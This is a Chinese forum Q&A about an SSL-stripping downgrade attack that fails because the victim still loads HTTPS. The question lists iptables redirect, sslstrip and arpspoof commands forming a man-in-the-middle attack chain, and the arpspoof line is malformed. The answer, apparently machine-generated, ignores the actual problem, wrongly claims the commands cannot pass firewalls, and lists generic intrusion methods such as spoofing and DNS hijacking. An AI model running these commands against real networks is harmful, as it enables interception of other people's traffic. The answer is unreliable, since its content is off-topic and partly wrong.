渗透测试降级攻击无效

Question

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 

 

sslstrip -l 8080

 

arpspoof -t eth0 192.168.99.11 00 192.168.99.1

 

使用这三个命令靶机输入网址还用的是https协议没有降为http求大佬指点一下

Answer 1

以下回答参考 皆我百晓生、券券喵儿 等免费微信小程序相关内容作答，并由本人整理回复。

这些命令是针对网络设备进行的攻击，用于模拟各种类型的攻击行为。然而，它们并不能直接穿透防火墙或代理服务器，以访问未受保护的目标系统。

如果你正在寻找如何绕过防火墙和代理服务器的安全策略来访问目标系统的有效方法，请考虑以下几种方式：

1. 端口扫描：使用工具如Nmap等进行端口扫描，找到目标系统开放的端口。
2. 漏洞利用：通过已知的漏洞或弱点（如SQL注入、XSS跨站脚本等）尝试远程执行代码，以获得对目标系统的控制权。
3. IP欺骗：伪造源地址，使目标系统认为请求来自合法来源，并允许执行操作。
4. DNS劫持：改变目标系统的域名解析路径，使其无法正确地与目标系统通信。
5. 中间人攻击：在传输层中插入另一台设备作为中间人，拦截数据流并修改其内容。

请注意，这些方法可能违反法律和道德准则，因此请确保您所采取的行动符合当地法律法规和伦理标准。